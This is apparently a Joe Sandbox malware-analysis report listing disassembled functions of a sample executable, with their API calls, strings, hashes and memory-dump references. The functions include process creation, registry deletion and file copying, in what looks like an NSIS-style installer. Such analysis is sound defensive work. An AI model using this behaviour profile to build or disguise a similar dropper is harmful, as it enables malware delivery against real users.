Associated: 00000000.00000002.2030878778.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004DF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031036748.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.jbxd

Similarity

API ID: MessageSendlstrlen$Library$FreeHandleLoadModuleTextWindowlstrcatwvsprintf
String ID: Error registering DLL: %s not found in %s$Error registering DLL: Could not initialize OLE$Error registering DLL: Could not load %s
API String ID: 1033533793-945480824
Opcode ID: aebbfb54fe117075fb91935afd2b3d42be9cb3525beaf419298f1839c78bdf39
Instruction ID: e967fad4df15afb35ea17a6f8951328f27fda4bee3b51f855042d01f5ead75df
Opcode Fuzzy Hash: aebbfb54fe117075fb91935afd2b3d42be9cb3525beaf419298f1839c78bdf39
Instruction Fuzzy Hash: 34219131904208BBCF206FA1CE45E9E7A74AF40314F30817FF511B61E1D7BD4A819A5D

Function 00404F72 Relevance: 10.6, APIs: 7, Instructions: 73stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
lstrcatW.KERNEL32(0043B228,004034BB), ref: 00404FCD
SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6

Memory Dump Source

Source File: 00000000.00000002.2030802534.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030760893.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030826533.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004DF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031036748.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.jbxd

Similarity

API ID: MessageSend$lstrlen$TextVersionWindowlstrcat
String ID:
API String ID: 2740478559-0
Opcode ID: 7bcaf298b14bfcb271399e4538be81cf37b8538d1c197863d88476df1de4366a
Instruction ID: 1d640e6b4f0869ec625b39ce8112f9bd6789598538fb42bade37fe3884716a8e
Opcode Fuzzy Hash: 7bcaf298b14bfcb271399e4538be81cf37b8538d1c197863d88476df1de4366a
Instruction Fuzzy Hash: 3C21B0B1900518BACF119FA5DD84E9EBFB5EF84310F10813AFA04BA291D7798E509F98

Function 00406038 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 71COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,004D70C8,"C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe",004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 0040609B
CharNextW.USER32(?,?,?,00000000), ref: 004060AA
CharNextW.USER32(?,004D70C8,"C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe",004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060AF
CharPrevW.USER32(?,?,"C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe",004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060C3

Strings

"C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe", xrefs: 00406042
*?|<>/":, xrefs: 0040608A

Memory Dump Source

Source File: 00000000.00000002.2030802534.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030760893.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030826533.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004DF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031036748.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.jbxd

Similarity

API ID: Char$Next$Prev
String ID: "C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe"$*?|<>/":
API String ID: 589700163-1417691532
Opcode ID: a05e433a329b084189efa29dbf9bba5ae0ab8f0c6b5464517f8198c591f21e0d
Instruction ID: 6b5d27536512bbf775d32d1a11483b1b035cd55ac1fbc93341df7bc26af2800c
Opcode Fuzzy Hash: a05e433a329b084189efa29dbf9bba5ae0ab8f0c6b5464517f8198c591f21e0d
Instruction Fuzzy Hash: C611EB2184061559CB30FB659C4097BA6F9AE56750712843FE886F32C1FB7CCCE192BD

Function 00402238 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 59synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB), ref: 00404FCD
Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

Part of subcall function 00405C3F: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00457278,Error launching installer), ref: 00405C64
Part of subcall function 00405C3F: CloseHandle.KERNEL32(?), ref: 00405C71

WaitForSingleObject.KERNEL32(?,00000064,00000000,000000EB,00000000), ref: 00402288
GetExitCodeProcess.KERNEL32(?,?), ref: 00402298
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00402AF2

Strings

Exec: success ("%s"), xrefs: 00402263
Exec: failed createprocess ("%s"), xrefs: 004022C2
Exec: command="%s", xrefs: 00402241

Memory Dump Source

Source File: 00000000.00000002.2030802534.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030760893.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030826533.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004DF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031036748.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.jbxd

Similarity

API ID: MessageSendlstrlen$CloseHandleProcess$CodeCreateExitObjectSingleTextWaitWindowlstrcatwvsprintf
String ID: Exec: command="%s"$Exec: failed createprocess ("%s")$Exec: success ("%s")
API String ID: 2014279497-3433828417
Opcode ID: 04fd410bbb31de0d7d21d8cf733f8caec58fdd5b228a354368cf1c704b35d166
Instruction ID: 1f9fd54ce4b92d80b15c686f19ace2d36b15c716f321f29b17dee5dd027f7fd2
Opcode Fuzzy Hash: 04fd410bbb31de0d7d21d8cf733f8caec58fdd5b228a354368cf1c704b35d166
Instruction Fuzzy Hash: 3E11C632904115EBDB11BBE0DE46AAE3A61EF00314B24807FF501B50D1CBBC4D41D79D

Function 0040484E Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404869
GetMessagePos.USER32 ref: 00404871
ScreenToClient.USER32(?,?), ref: 00404889
SendMessageW.USER32(?,00001111,00000000,?), ref: 0040489B
SendMessageW.USER32(?,0000113E,00000000,?), ref: 004048C1

Strings

f, xrefs: 0040489D

Memory Dump Source

Source File: 00000000.00000002.2030802534.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030760893.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030826533.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004DF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031036748.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: e83bf87fd3d3de8100a00259917b631f02ad10d2ae0db71d55c08ccb040208c3
Instruction ID: 7db1728360bf3821ce9645a1193633f180912fe022e8629b13ab7a69f18166cd
Opcode Fuzzy Hash: e83bf87fd3d3de8100a00259917b631f02ad10d2ae0db71d55c08ccb040208c3
Instruction Fuzzy Hash: C5015E7290021CBAEB00DBA4DD85BEEBBB8AF54710F10452ABB50B61D0D7B85A058BA5

Function 0040324C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 0040326A
MulDiv.KERNEL32(00010000,00000064,?), ref: 00403295
wsprintfW.USER32 ref: 004032A5
SetWindowTextW.USER32(?,?), ref: 004032B5
SetDlgItemTextW.USER32(?,00000406,?), ref: 004032C7

Strings

verifying installer: %d%%, xrefs: 0040329F

Memory Dump Source

Source File: 00000000.00000002.2030802534.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030760893.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030826533.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004DF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031036748.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: 2242266ec469d88fb33e3e049bed9c2e1137abfcadbc35e47a6ba444652a7516
Instruction ID: 2210906da4c477318a924a5c8cf459ae641b3a2c10b729e3aa38b42dd2c8d99c
Opcode Fuzzy Hash: 2242266ec469d88fb33e3e049bed9c2e1137abfcadbc35e47a6ba444652a7516
Instruction Fuzzy Hash: 98014470610109ABEF109F60DD49FAA3B69FB00349F00803DFA46B51E0DB7996558B58

Function 004043AD Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 73stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00447240,%u.%u%s%s,?,00000000,00000000,?,FFFFFFDC,00000000,?,000000DF,00447240,?), ref: 0040444A
wsprintfW.USER32 ref: 00404457
SetDlgItemTextW.USER32(?,00447240,000000DF), ref: 0040446A

Strings

%u.%u%s%s, xrefs: 00404444
@rD, xrefs: 00404402

Memory Dump Source

Source File: 00000000.00000002.2030802534.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030760893.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030826533.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004DF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031036748.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$@rD
API String ID: 3540041739-1813061909
Opcode ID: 49e77ae85f825c85ec9bd325533554715bd64ccbe848738256e3a305efe714d4
Instruction ID: f1896056faf18a44ee7e341cc3389f256aee6b01e91544d35c55ed1e8b934206
Opcode Fuzzy Hash: 49e77ae85f825c85ec9bd325533554715bd64ccbe848738256e3a305efe714d4
Instruction Fuzzy Hash: EF11BD327002087BDB10AA6A9D45E9E765EEBC5334F10423BFA15F30E1F6788A218679

Function 0040149D Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 004014BF
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 004014FB
RegCloseKey.ADVAPI32(?), ref: 00401504
RegCloseKey.ADVAPI32(?), ref: 00401529
RegDeleteKeyW.ADVAPI32(?,?), ref: 00401547

Memory Dump Source

Source File: 00000000.00000002.2030802534.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030760893.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030826533.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004DF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031036748.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 2b80b69c85b54ac5f33439f299733a34c1a7b021a45597119d957f721ab6f898
Instruction ID: 29266b44d1cae769f6d8fca298176d7cc4518162af5fbc8546bcefd12e7d5eb7
Opcode Fuzzy Hash: 2b80b69c85b54ac5f33439f299733a34c1a7b021a45597119d957f721ab6f898
Instruction Fuzzy Hash: EF114972500008FFDF119F90EE85DAA3B7AFB54348F00407AFA06F6170D7759E54AA29

Function 0040209F Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?), ref: 004020A3
GetClientRect.USER32(00000000,?), ref: 004020B0
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 004020D1
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 004020DF
DeleteObject.GDI32(00000000), ref: 004020EE

Memory Dump Source

Source File: 00000000.00000002.2030802534.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030760893.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030826533.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004DF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031036748.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 3f37f65ad39e50193b5eb5465f4a6a1b76990ca473236759665c0c01a91169be
Instruction ID: a6d8e4af78efbdafb2d3f18e6b80530ac635d705efb76da9f8ac6e555915fa7b
Opcode Fuzzy Hash: 3f37f65ad39e50193b5eb5465f4a6a1b76990ca473236759665c0c01a91169be
Instruction Fuzzy Hash: 95F012B2600508AFDB00EBA4EF89DAF7BBCEB04305B104579F642F6161C6759E418B28

Function 00401F80 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401FE6
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401FFE

Strings

!, xrefs: 00401FB6

Memory Dump Source

Source File: 00000000.00000002.2030802534.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030760893.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030826533.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004DF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031036748.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 268bfc816d722a3cdb4a25197971aab361e313674f42ba9e2dfc46ce407b5277
Instruction ID: e43e738488dd09895ebc4b193b1bc1394e214230f2e5861cb954e074e697f1bf
Opcode Fuzzy Hash: 268bfc816d722a3cdb4a25197971aab361e313674f42ba9e2dfc46ce407b5277
Instruction Fuzzy Hash: 93217171900209ABDF15AFB4D986ABE7BB9EF04349F14413EF602F60E2D6798A40D758

Function 004027E3 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00401553: RegOpenKeyExW.ADVAPI32(?,00000000,00000022,00000000,?,?), ref: 0040158B

RegCloseKey.ADVAPI32(00000000), ref: 0040282E
RegDeleteValueW.ADVAPI32(00000000,00000000,00000033), ref: 0040280E

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

DeleteRegKey: "%s\%s", xrefs: 00402843
DeleteRegValue: "%s\%s" "%s", xrefs: 00402820

Memory Dump Source

Source File: 00000000.00000002.2030802534.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030760893.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030826533.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004DF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031036748.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.jbxd

Similarity

API ID: CloseDeleteOpenValuelstrlenwvsprintf
String ID: DeleteRegKey: "%s\%s"$DeleteRegValue: "%s\%s" "%s"
API String ID: 1697273262-1764544995
Opcode ID: 48bae300e43d63654b7fe916574e47b7d5bb67918eda10473d167f607cc9ee43
Instruction ID: a9eecf508c221bc7802a822649300ece756bcc80235207ffe39efc99e8d71eac
Opcode Fuzzy Hash: 48bae300e43d63654b7fe916574e47b7d5bb67918eda10473d167f607cc9ee43
Instruction Fuzzy Hash: FA11A772E00101ABDB10FFA5DD4AABE7AA4EF40354F14443FF50AB61D2D6BD8A50879D

Function 004048CC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 58windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00404902
CallWindowProcW.USER32(?,00000200,?,?), ref: 00404970

Part of subcall function 00403DAF: SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DC1

Strings

, xrefs: 004048DA
@rD, xrefs: 00404934

Memory Dump Source

Source File: 00000000.00000002.2030802534.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030760893.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030826533.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004DF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031036748.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID: $@rD
API String ID: 3748168415-881980237
Opcode ID: dbb9f75acddd66739c757162f424edfdbc4896bcfe3732b5d05f7797001715e0
Instruction ID: bed307b1c5f775dd60c200178c13c7fdb07d6bd57f5d25ab133f42f3a31df96a
Opcode Fuzzy Hash: dbb9f75acddd66739c757162f424edfdbc4896bcfe3732b5d05f7797001715e0
Instruction Fuzzy Hash: 7A114FB1500218ABEF21AF61ED41E9B3769AB84359F00803BF714751A2C77C8D519BAD

Function 00402665 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 56stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Part of subcall function 004062D5: FindFirstFileW.KERNELBASE(004572C0,0045BEC8,004572C0,004067CE,004572C0), ref: 004062E0
Part of subcall function 004062D5: FindClose.KERNEL32(00000000), ref: 004062EC

lstrlenW.KERNEL32 ref: 004026B4
lstrlenW.KERNEL32(00000000), ref: 004026C1
SHFileOperationW.SHELL32(?,?,?,00000000), ref: 004026EC

Strings

CopyFiles "%s"->"%s", xrefs: 0040267F

Memory Dump Source

Source File: 00000000.00000002.2030802534.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030760893.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030826533.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004DF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031036748.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.jbxd

Similarity

API ID: lstrlen$FileFind$CloseFirstOperationwvsprintf
String ID: CopyFiles "%s"->"%s"
API String ID: 2577523808-3778932970
